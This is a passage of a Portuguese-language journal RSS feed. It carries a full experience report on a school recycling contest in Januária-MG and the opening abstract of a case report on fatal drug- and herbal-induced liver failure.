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	<title>Ciências Biológicas &#8211; ISSN 1678-0817 Qualis/DOI</title>
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	<description>Revista Científica de Alto Impacto.</description>
	<lastBuildDate>Thu, 12 Mar 2026 10:36:11 +0000</lastBuildDate>
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	<title>Ciências Biológicas &#8211; ISSN 1678-0817 Qualis/DOI</title>
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	<item>
		<title>GINCANA DE RECICLAGEM COMO INSTRUMENTO DE CONSCIENTIZAÇÃO DA SUSTENTABILIDADE AMBIENTAL: UM RELATO DE EXPERIÊNCIA NO ENSINO FUNDAMENTAL DE UMA ESCOLA PÚBLICA EM JANUÁRIA-MG.</title>
		<link>https://revistaft.com.br/gincana-de-reciclagem-como-instrumento-de-conscientizacao-da-sustentabilidade-ambiental-um-relato-de-experiencia-no-ensino-fundamental-de-uma-escola-publica-em-januaria-mg/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Thu, 26 Feb 2026 14:20:43 +0000</pubDate>
				<category><![CDATA[Ciências Biológicas]]></category>
		<category><![CDATA[Volume 30 – Edição 155/FEV 2026]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202602261120 Autor: Daiane Alves Rodrigues&#160;Coautor: Ângelo Oliveira FerreiraOrientador: Heron Walmor Santos Cruz RESUMO A crescente produção de resíduos sólidos e a necessidade de promover práticas mais sustentáveis no ambiente escolar reforçam a importância da Educação Ambiental como ferramenta formadora de cidadãos conscientes e críticos. Nesse contexto, este artigo apresenta um relato de experiência [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202602261120</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Autor: Daiane Alves Rodrigues<br>&nbsp;Coautor: Ângelo Oliveira Ferreira<br>Orientador: Heron Walmor Santos Cruz</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">A crescente produção de resíduos sólidos e a necessidade de promover práticas mais sustentáveis no ambiente escolar reforçam a importância da Educação Ambiental como ferramenta formadora de cidadãos conscientes e críticos. Nesse contexto, este artigo apresenta um relato de experiência sobre a realização de uma gincana de reciclagem com alunos do Ensino Fundamental de uma escola pública em Januária-mg, desenvolvida como estratégia lúdica para estimular a reflexão sobre o descarte correto de resíduos e incentivar atitudes sustentáveis. A atividade envolveu desafios criativos, provas práticas e dinâmicas cooperativas, integrando teoria e prática por meio do reaproveitamento de materiais, trabalho em equipe e resolução de problemas. Os resultados evidenciaram elevado engajamento dos estudantes, que demonstraram criatividade, responsabilidade e maior compreensão acerca da reciclagem e do consumo consciente. Conclui-se que atividades lúdicas constituem instrumentos eficazes na Educação Ambiental, favorecendo a construção de valores socioambientais e contribuindo para o desenvolvimento de uma cultura escolar mais sustentável.</p>



<p class="wp-block-paragraph"><strong>Palavras chaves</strong>: Educação ambiental; Reciclagem; Sustentabilidade.</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">A crescente geração de resíduos sólidos é um dos maiores desafios ambientais da atualidade, resultado direto do consumo excessivo e do descarte inadequado de materiais (Lima, 2022). Esse cenário tem despertado a atenção de pesquisadores, educadores e gestores públicos, que reconhecem a urgência de promover ações que estimulem a mudança de comportamento e o desenvolvimento de práticas sustentáveis. A educação ambiental, nesse contexto, assume um papel essencial na formação de cidadãos conscientes e críticos, capazes de compreender a interdependência entre o ser humano e o meio ambiente e de adotar atitudes responsáveis no seu cotidiano (Escanhoela, 2016).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Conforme estabelece a Lei nº 9.795, de abril de 1999, a educação ambiental deve ser tratada como um componente essencial e permanente da educação nacional. Essa legislação reforça a importância de que o tema esteja presente em todos os níveis e modalidades de ensino, de maneira articulada, abrangendo tanto as práticas formais quanto as não formais (Brasil, 1999). Tal perspectiva busca consolidar a educação ambiental como um processo contínuo e interdisciplinar, que vai além do simples repasse de conteúdos e envolve a formação ética, cultural e social do indivíduo.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A escola, como espaço de construção do conhecimento e transformação social, apresenta-se como um ambiente privilegiado para o desenvolvimento de ações que promovam reflexão sobre a relação entre o ser humano e o meio ambiente (Bragagnollo, 2019). Nesse sentido, os Parâmetros Curriculares Nacionais (PCNs) indicam que a Educação Ambiental deve ser tratada como um tema transversal, estando presente em todas as disciplinas do Ensino Básico. Essa abordagem favorece a integração entre teoria e prática e contribui para o desenvolvimento de uma consciência ecológica que ultrapasse os limites da sala de aula, estendendo-se à comunidade escolar e ao entorno (Brasil, 2012).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Segundo Silva (2019) trabalhar a temática ambiental desde os primeiros anos escolares é fundamental para o desenvolvimento de valores, atitudes e comportamentos voltados à sustentabilidade. As atividades lúdicas e interativas têm se mostrado ferramentas eficazes nesse processo, pois despertam o interesse e o engajamento dos estudantes, facilitando a aprendizagem significativa e a construção coletiva do conhecimento (Silva et al., 2024). Entre essas práticas, destacam-se as gincanas educativas com temáticas ambientais, que unem o aprendizado teórico às práticas sustentáveis, estimulando a cooperação, a criatividade e o senso de responsabilidade ecológica (Souza, 2024).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Assim, o presente artigo tem como objetivo promover a conscientização ambiental entre os alunos do Ensino Fundamental de uma escola pública em Januária-MG, por meio da realização de uma gincana com atividades lúdicas relacionadas à reciclagem e à sustentabilidade.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>MATERIAIS E MÉTODOS&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">A gincana intitulada sustentabilidade foi desenvolvida no dia 18 de agosto de 2025, em uma escola localizada no norte de Minas Gerais com o apoio dos residentes e pibidianos do&nbsp;Instituto Federal &#8211; campus Januária e teve como público-alvo os alunos do ensino fundamental. A distribuição dos 148 estudantes participantes está detalhada na tabela 1.&nbsp;&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1. Distribuição dos participantes da gincana.</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td class="has-text-align-center" data-align="center"><strong>TURMA&nbsp;&nbsp;</strong></td><td class="has-text-align-center" data-align="center"><strong>ALUNOS PARTICIPANTES&nbsp;</strong></td></tr><tr><td class="has-text-align-center" data-align="center">7° Reg 1&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">22&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">7° Reg 2&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">23&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">8° Reg 1&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">28&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">8° Reg 2&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">21&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">9° Reg 1&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">28&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">9° Reg 2&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">26&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">TOTAL 148&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">148&nbsp;&nbsp;</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte</strong>: elaborada pela autora (2026)&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Os alunos foram organizados em três equipes formadas por meio de sorteio, denominadas: guardiões do planeta, do lixo ao luxo e natureza em jogo. Previamente ao evento, foi realizado um convite geral aos estudantes para participação. O dia da gincana, iniciou com uma cerimônia de abertura que incluiu as boas vindas aos participantes e à comunidade escolar, seguida da exibição de um vídeo educativo sobre sustentabilidade, que teve como finalidade contextualizar o tema e sensibilizar os alunos para práticas ambientais responsáveis.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A gincana foi composta por diversas atividades e desafios avaliativos, elaborados com o objetivo de integrar aprendizado, criatividade e conscientização ambiental. A primeira atividade consistiu na criação do nome da equipe, que estimulou os alunos a escolherem denominações criativas e relacionadas ao tema da sustentabilidade. Em seguida, realizou-se o grito de guerra, no qual as equipes foram incentivadas a expressar entusiasmo e união por meio de frases curtas e divertidas.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O desfile da roupa reciclável desafiou os participantes a confeccionarem peças de vestuário utilizando materiais recicláveis, apresentando-as posteriormente aos jurados. Já o desfile da mochila reciclável teve como foco o desenvolvimento de uma mochila funcional e esteticamente criativa, também avaliada pela comissão julgadora. O desfile do brinquedo reciclável considerou critérios como originalidade, reaproveitamento de materiais e inovação.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Entre as atividades dinâmicas, destacou-se a corrida do saco, que avaliou a agilidade dos participantes, e o desafio sequência da caixa, voltado à memorização e à observação, no qual cada representante de equipe deveria acertar a ordem correta dos objetos dispostos. No desafio da reciclagem rápida, cada grupo recebeu uma caixa contendo diferentes resíduos e &nbsp;precisou realizar a separação correta nas lixeiras correspondentes, sendo vencedora a equipe mais rápida e precisa.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Por fim, a atividade “Passa ou Repassa Sustentável” envolveu perguntas sobre temas ambientais e práticas de reciclagem, incentivando o raciocínio rápido e o conhecimento adquirido durante as atividades. A etapa final, de arrecadação de materiais recicláveis, teve como objetivo mobilizar os alunos e a comunidade escolar na coleta de resíduos reaproveitáveis, reforçando o compromisso coletivo com a preservação ambiental como&nbsp; envolvendo o reaproveitamento de materiais e o estímulo ao trabalho em equipe. As provas realizadas e seus respectivos critérios de pontuação estão presentes na tabela 2.&nbsp;&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 2. Atividade e critérios de pontuação da gincana de reciclagem.</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td class="has-text-align-center" data-align="center"><strong>Atividade/Desafio&nbsp;&nbsp;</strong></td><td class="has-text-align-center" data-align="center"><strong>Pontuação máxima&nbsp;&nbsp;</strong></td><td class="has-text-align-center" data-align="center"><strong>Critério de avaliação&nbsp;</strong></td></tr><tr><td class="has-text-align-center" data-align="center">Nome sustentável da equipe&nbsp;</td><td class="has-text-align-center" data-align="center">20 pontos&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">Criatividade e coerência com o tema&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">Grito de guerra&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">20 pontos&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">Originalidade e entrosamento&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">Desfile de roupas recicláveis&nbsp;</td><td class="has-text-align-center" data-align="center">50 pontos&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">Criatividade e uso de materiais recicláveis&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">Desfile da mochila reciclável&nbsp;</td><td class="has-text-align-center" data-align="center">50 pontos&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">Funcionalidade e estética&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">Desfile do brinquedo reciclável&nbsp;</td><td class="has-text-align-center" data-align="center">50 pontos&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">Originalidade e&nbsp;reaproveitamento de materiais&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">Corrida do saco&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">20 pontos&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">Agilidade e trabalho em equipe&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">Sequência da caixa&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">20 pontos&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">Acerto na ordem dos objetos&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">Desafio da reciclagem rápida&nbsp;</td><td class="has-text-align-center" data-align="center">20 pontos&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">Tempo e precisão na escolha correta&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">Passa ou repassa sustentável&nbsp;</td><td class="has-text-align-center" data-align="center">10 perguntas (10 pontos por acerto/ 5 por erro)&nbsp;</td><td class="has-text-align-center" data-align="center">Conhecimento básico sobre sustentabilidade&nbsp;</td></tr><tr><td class="has-text-align-center" data-align="center">Arrecadação de materiais recicláveis&nbsp;</td><td class="has-text-align-center" data-align="center">variável (0,5 &#8211; 2 pontos)&nbsp;&nbsp;</td><td class="has-text-align-center" data-align="center">Quantidade e tipo de resíduos coletados&nbsp;</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte</strong>: Elaborada pela autora (2026)&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">As atividades foram avaliadas considerando os critérios de criatividade, participação, cooperação, desempenho nas provas e envolvimento com o tema ambiental. As dinâmicas foram planejadas de forma a integrar aprendizado e entretenimento, permitindo que os estudantes compreendessem, na prática, a importância da reciclagem, da separação correta dos resíduos e responsabilidade ambiental.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>RESULTADOS E DISCUSSÃO&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">A realização da gincana de reciclagem demonstrou resultados bastantes positivos no que se refere ao engajamento e aprendizagem na temática abordada para com os estudantes . Durante o evento, observou-se grande envolvimento das equipes, tanto na execução das tarefas quanto na elaboração dos materiais reciclados utilizados nas provas. A participação ativa refletiu o interesse dos estudantes em aprender de forma lúdica, explorando o conceito de sustentabilidade por meio da prática. De maneira geral, as atividades despertaram curiosidade, criatividade e espírito colaborativo entre os estudantes. A confecção de roupas, mochilas e brinquedos recicláveis não apenas incentivou o reaproveitamento de materiais, mas também promoveu momentos de reflexão sobre o consumo consciente e suas implicações no cotidiano. Ao participarem ativamente das atividades, os estudantes puderam relacionar os conteúdos trabalhados com situações concretas de sua realidade,&nbsp; tornando a aprendizagem mais significativa. Essa experiência se aproxima das discussões atuais da educação ambiental crítica, que defendem a integração entre compreensão dos problemas ambientais e ação transformadora, contribuindo para a formação de sujeitos mais conscientes e comprometidos com seu contexto socioambiental (Kozinski 2024). Além disso, pesquisas recentes destacam que práticas pedagógicas participativas e reflexivas potencializam o desenvolvimento do pensamento crítico e das competências socioambientais, fortalecendo o engajamento dos estudantes diante das problemáticas ambientais contemporâneas (Nogueira 2023). Dessa forma, a vivência observada reafirma o que Jacobi (2003) aponta ao defender que a educação ambiental deve articular saberes e valores capazes de promover mudanças nas atitudes cotidianas.&nbsp;</p>



<p class="wp-block-paragraph">A dinâmica do passa o repasse e o desafio da reciclagem rápida contribuíram significativamente para reforçar a aprendizagem sobre a classificação e o destino correto dos resíduos, aproximando teoria e prática de maneira envolvente. Ao vivenciarem situações relacionadas ao gerenciamento de resíduos, os estudantes puderam compreender, na prática, a importância de suas ações no contexto ambiental. Conforme Lins (2020), a aprendizagem ambiental torna-se mais efetiva quando o conhecimento é experienciado, pois o estudante passa a se reconhecer como agente ativo no processo de transformação. Essa perspectiva é reforçada por estudos que evidenciam que experiências contextualizadas favorecem a aprendizagem significativa, especialmente quando os conteúdos dialogam com a realidade dos alunos (Santos &amp; Barros, 2024). Além disso, a adoção de metodologias participativas no ensino de educação ambiental potencializa o engajamento estudantil e contribui para o desenvolvimento de competências voltadas à sustentabilidade (Santos et al., 2025). A competição saudável entre as equipes também se destacou como elemento motivador, promovendo o trabalho coletivo, o respeito mútuo e a cooperação. As equipes Guardiões do Planeta, Do Lixo ao Luxo e Natureza em Jogo demonstraram entusiasmo em todas as etapas, sobretudo na arrecadação de materiais recicláveis, evidenciando comprometimento com a causa ambiental. Dessa forma, a integração entre ludicidade, participação e reflexão crítica mostrou-se fundamental para que a escola consolidasse seu papel como espaço formador de cidadãos conscientes e participativos.&nbsp;</p>



<p class="wp-block-paragraph">Ao final das provas, foi realizada a contagem geral das pontuações, totalizando 441,32 pontos para a equipe do lixo ao luxo, conforme observa-se no gráfico 1. Como premiação, os integrantes receberam um dia de lazer e um piquenique compartilhado, e todos os integrantes que participaram do desfile, receberam uma suculenta em reconhecimento ao empenho e à dedicação demonstrados durante o evento.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 1. Tabela de apuração dos pontos da gincana.</strong></p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="451" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-46-1024x451.jpeg" alt="" class="wp-image-266160" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-46-1024x451.jpeg 1024w, https://revistaft.com.br/wp-content/uploads/2026/02/image-46-300x132.jpeg 300w, https://revistaft.com.br/wp-content/uploads/2026/02/image-46-768x338.jpeg 768w, https://revistaft.com.br/wp-content/uploads/2026/02/image-46.jpeg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte</strong>: elaborado pela própria autora (2026)&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Os resultados finais mostraram que as ações desenvolvidas contribuíram significativamente para o fortalecimento da consciência ecológica dos estudantes, evidenciando a importância das gincanas escolares como instrumentos pedagógicos no processo de ensino-aprendizagem. Ao aliarem ludicidade, desafio e cooperação, as gincanas favoreceram o engajamento ativo dos alunos, tornando o aprendizado mais dinâmico e significativo. Estudos apontam que atividades lúdicas estruturadas, como gincanas, ampliam a motivação e facilitam a assimilação de conteúdos ao integrar dimensões cognitivas e socioemocionais (Soares et al., 2024). Além disso, estratégias baseadas em desafios colaborativos estimulam o protagonismo estudantil e fortalecem competências como responsabilidade, trabalho em equipe e pensamento crítico (Bastos et al., 2024). Dessa forma, as gincanas demonstram não apenas potencial motivador, mas também relevância formativa, consolidando-se como ferramentas eficazes para a construção de conhecimentos e valores voltados à sustentabilidade.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Assim, a gincana de reciclagem configurou-se como uma estratégia pedagógica eficaz para o ensino de Educação Ambiental, como ilustra a Figura 1, pois uniu conhecimento, criatividade e ludicidade em torno de um objetivo comum: a preservação do meio ambiente.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1. Resultado da gincana reciclagem &#8211; educação ambiental.</strong></p>



<figure class="wp-block-image aligncenter size-full"><img decoding="async" width="385" height="469" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-47.jpeg" alt="" class="wp-image-266161" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-47.jpeg 385w, https://revistaft.com.br/wp-content/uploads/2026/02/image-47-246x300.jpeg 246w" sizes="(max-width: 385px) 100vw, 385px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte</strong>: Elaborada pela autora (2026) &nbsp;</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>CONCLUSÃO&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">A gincana de reciclagem demonstrou ser uma estratégia pedagógica altamente eficaz para fortalecer a educação ambiental no ambiente escolar, permitindo que os estudantes vivenciassem, de forma concreta, os princípios da sustentabilidade. Ao integrar atividades lúdicas, desafios cooperativos e momentos de reflexão, a proposta promoveu um aprendizado significativo, no qual teoria e prática se articularam para estimular a criatividade, o engajamento e a responsabilidade socioambiental.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O envolvimento ativo das equipes, observado tanto nas produções confeccionadas quanto na participação nas dinâmicas, evidencia que metodologias participativas favorecem não apenas a compreensão dos conteúdos, mas também a formação de valores essenciais para a construção de uma cultura sustentável. A dedicação dos alunos nas etapas de coleta, separação e reaproveitamento de materiais reforça a ideia de que a educação ambiental se torna mais efetiva quando o estudante se reconhece como parte do problema e, principalmente, da solução.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Portanto, os resultados obtidos após a gincana mostram que ações educativas dessa natureza têm grande potencial para transformar percepções, estimular comportamentos responsáveis e ampliar o compromisso coletivo com a preservação ambiental. Considera-se, portanto, que iniciativas semelhantes devem ser incentivadas nas escolas, fortalecendo práticas pedagógicas que formem cidadãos críticos, conscientes e capazes de contribuir para um futuro mais equilibrado e sustentável.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.</strong> <strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">BASTOS, J., A., L.; SANTOS, G., J., S., da, S.; FILHO, M., C., D., dos. <strong>Gincana virtual como estratégia gamificada de divulgação científica e aprendizagem ativa</strong>. Revista semiárido de Visu, v.12, n.1, p. 303-312, 2024.&nbsp;</p>



<p class="wp-block-paragraph">BRAGAGNOLLO, A., F.; GUEDES, A., M.; OLIVEIRA, K., de, J. <strong>A importância da educação ambiental nas escolas: uma revisão bibliográfica. </strong>CONGRESSO, Assis Gurgacz, 2019.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">BRASIL. Presidência da República. <strong>Lei n° 9.795, de 27 de abril de 1999</strong>. Dispõe sobre a educação ambiental, institui a Política Nacional de Educação Ambiental e dá outras providências. Brasília &#8211; DF, 27 de abr. 1999.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">BRASIL. Resolução nº 2, de 15 de junho de 2012. Estabelece as Diretrizes Curriculares Nacionais para a Educação Ambiental. Brasília, 2012.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">ESCANHOELA, Z., C.; CULIK, A., M.; MIYAZAWA, C., M., C.,G. <strong>A horta escolar como instrumento em um trabalho de educação ambiental</strong>. Scientia vitae, v. 3, n. 11, jan. de 2016.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">JACOBI, P. <strong>Educação ambiental, cidadania e sustentabilidade. Cadernos de pesquisa: revista de estudos e pesquisa em educação</strong>. Fundação Carlos Chagas, n. 118, mar. 2003.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">KOZINSKI, A., R.; ROEHRIG, S., A., G. Educando para a sustentabilidade: aproximações entre alfabetização ecológica e educação ambiental crítica. <strong>Revista Brasileira de educação ambiental (RevBEA)</strong>, v.19, n.7, p. 334-345, 2024.&nbsp;</p>



<p class="wp-block-paragraph">LIMA, C.; M.; B.; SARAIVA, K.; R. <strong>Análise crítica sobre a geração de resíduos sólidos e o modo de produção capitalista: Abordagem no contexto do ensino na educação </strong>&nbsp;<strong>profissional e tecnológica (EPT)</strong>. Revista CAMINE: Caminho da educação, Franca, SP, v. 14, n. 1, 2022.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">LINS, A., J.; CAMAROTTI, M., de., F. <strong>Princípios de sustentabilidade: concepções e práticas de professores e gestores em escolas dos anos finais do ensino fundamental</strong>. Paraíba, Revista org, 2024.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">NOGUEIRA, C. Contribuições para a educação ambiental crítica. <strong>Revista Brasileira de Educação Ambiental (RevBEA)</strong>, v. 18, n.3, p. 156-171, 2023.&nbsp;</p>



<p class="wp-block-paragraph">SANTOS, F.; BARROS, J. Aprendizagem significativas e educação ambiental: discutindo e (RE) significando o gerenciamento de resíduos sólidos urbanos. <strong>Revista Ciências &amp; idéias</strong>, v.15, 2024.&nbsp;</p>



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<p class="wp-block-paragraph">SILVA, V.; RAGGI, D. <strong>Educação ambiental com atividades lúdicas no ensino infantil</strong>. Revista Eletrônica Acervo Saúde, v. 25, p. 633, 2019.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">SILVA, da., C., C.; SOUZA, de., R., E.; PASCOA, da., G., F.; RODRIGUES, L., S., J.; PAULA, S., da., L.; MOTTÉ, S., da., R.; ARMANI, C., de., P., S.; SILVA, da., M., S. <strong>A influência das atividades lúdicas no desenvolvimento infantil</strong>. Revista Contemporânea, v. 4, n. 5, 2024.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">SOARES, G., B.; SILVA, M., da, L., F., de; MARQUES, J., da, S.; NASCIMENTO, V., S., do. <strong>Jogos e gincanas no contexto educacional: ferramentas lúdicas para o ensino e aprendizado</strong>. Revista Multidisciplinar do Nordeste Mineiro, v.12, n.2, 2024.</p>



<p class="wp-block-paragraph">SOUZA, de, C.; R. PIMENTA, G., D.; FERREIRA, B., R., S.; FERREIRA, S., W. Ecogincana: Estratégia educacional para sensibilização ambiental em escolas públicas de Pinheiro &#8211; MA. <strong>LUMEN ET VIRTUS</strong>, v. XVI, N. XLIV, p. 90-95, 2024.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"></p>
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			</item>
		<item>
		<title>HEPATITE FULMINANTE POR PROVÁVEL INTOXICAÇÃO MEDICAMENTOSA COM  ALBENDAZOL E ASHWAGANDHA (WHITANIA SOMNIFERA): UM RELATO DE CASO  </title>
		<link>https://revistaft.com.br/hepatite-fulminante-por-provavel-intoxicacao-medicamentosa-com-albendazol-e-ashwagandha-whitania-somnifera-um-relato-de-caso/</link>
		
		<dc:creator><![CDATA[Revistaft CH]]></dc:creator>
		<pubDate>Mon, 23 Feb 2026 02:04:41 +0000</pubDate>
				<category><![CDATA[Ciências Biológicas]]></category>
		<category><![CDATA[Volume 30 – Edição 155/FEV 2026]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=265926</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/ch10202602222304 Patrícia Carla Bonifácio De Rezende&#160;Orientador (a): Dra. Milena Suhett RESUMO&#160;&#160; A insuficiência hepática aguda (IHA) é uma condição rara e potencialmente fatal,&#160; caracterizada pelo rápido comprometimento da função hepática em indivíduos sem doença&#160; hepática prévia conhecida, associada a coagulopatia e encefalopatia hepática. Entre suas&#160; etiologias, destacam-se a lesão hepática induzida por fármacos [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/ch10202602222304</p>



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<p class="has-text-align-right wp-block-paragraph">Patrícia Carla Bonifácio De Rezende<br>&nbsp;Orientador (a): Dra. Milena Suhett</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">A insuficiência hepática aguda (IHA) é uma condição rara e potencialmente fatal,&nbsp; caracterizada pelo rápido comprometimento da função hepática em indivíduos sem doença&nbsp; hepática prévia conhecida, associada a coagulopatia e encefalopatia hepática. Entre suas&nbsp; etiologias, destacam-se a lesão hepática induzida por fármacos (drug-induced liver injury –&nbsp;DILI) e por suplementos ou fitoterápicos (herb-induced liver injury – HILI), reconhecidas&nbsp; pelo caráter idiossincrático, imprevisível e frequentemente grave.&nbsp;<br>Relata-se o caso de uma paciente de 49 anos submetida à administração de albendazol, com&nbsp; posterior reexposição ao fármaco, associada ao uso concomitante do fitoterápico&nbsp; ashwagandha para finalidade suplementar e para fins estéticos. A paciente evoluiu&nbsp; rapidamente para falência hepática aguda, sendo transferida para hospital terciário de&nbsp; referência em transplante hepático no estado do Espírito Santo. Apesar do suporte intensivo&nbsp; em unidade de terapia intensiva, apresentou deterioração neurológica progressiva, com sinais&nbsp; de edema cerebral difuso e evolução para óbito antes da avaliação completa para transplante.&nbsp;<br>O caso ressalta os riscos do uso indiscriminado e concomitante de medicamentos e&nbsp; fitoterápicos sem indicação clínica comprovada, destacando o potencial para desfechos&nbsp; graves e irreversíveis.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave: </strong>Insuficiência hepática aguda; Lesão hepática induzida por medicamentos;&nbsp; Lesão hepática induzida por fitoterápicos; Hepatotoxicidade; Albendazol; Ashwagandha;&nbsp; Fitoterápicos.</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">Acute liver failure (ALF) is a rare and potentially fatal condition characterized by rapid&nbsp; deterioration of liver function in individuals without previously known liver disease,&nbsp; associated with coagulopathy and hepatic encephalopathy. Among its etiologies, drug induced liver injury (DILI) and herb-induced liver injury (HILI) are particularly challenging&nbsp;&nbsp;due to their idiosyncratic, unpredictable, and often severe clinical course. We report the case of a 49-year-old woman who was exposed to albendazole, with&nbsp; subsequent re-exposure to the drug, in association with the concomitant use of the herbal&nbsp; supplement ashwagandha for aesthetic and weight-loss purposes. The patient rapidly&nbsp; progressed to acute liver failure and was transferred to a tertiary referral center for liver&nbsp; transplantation evaluation in the state of Espírito Santo, Brazil. Despite intensive care&nbsp; support, she developed progressive neurological deterioration with diffuse cerebral edema&nbsp; and died before completing transplant assessment.&nbsp;This case highlights the risks associated with the indiscriminate and concomitant use of&nbsp; medications and herbal supplements without proven clinical indication, emphasizing their&nbsp; potential to cause severe and irreversible outcomes.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Keywords: </strong>Acute liver failure; Drug-induced liver injury; Herb-induced liver injury;&nbsp; Hepatotoxicity; Albendazole; Ashwagandha; Herbal medicines.</p>



<p class="wp-block-paragraph"><strong>1 INTRODUÇÃO&nbsp;</strong></p>



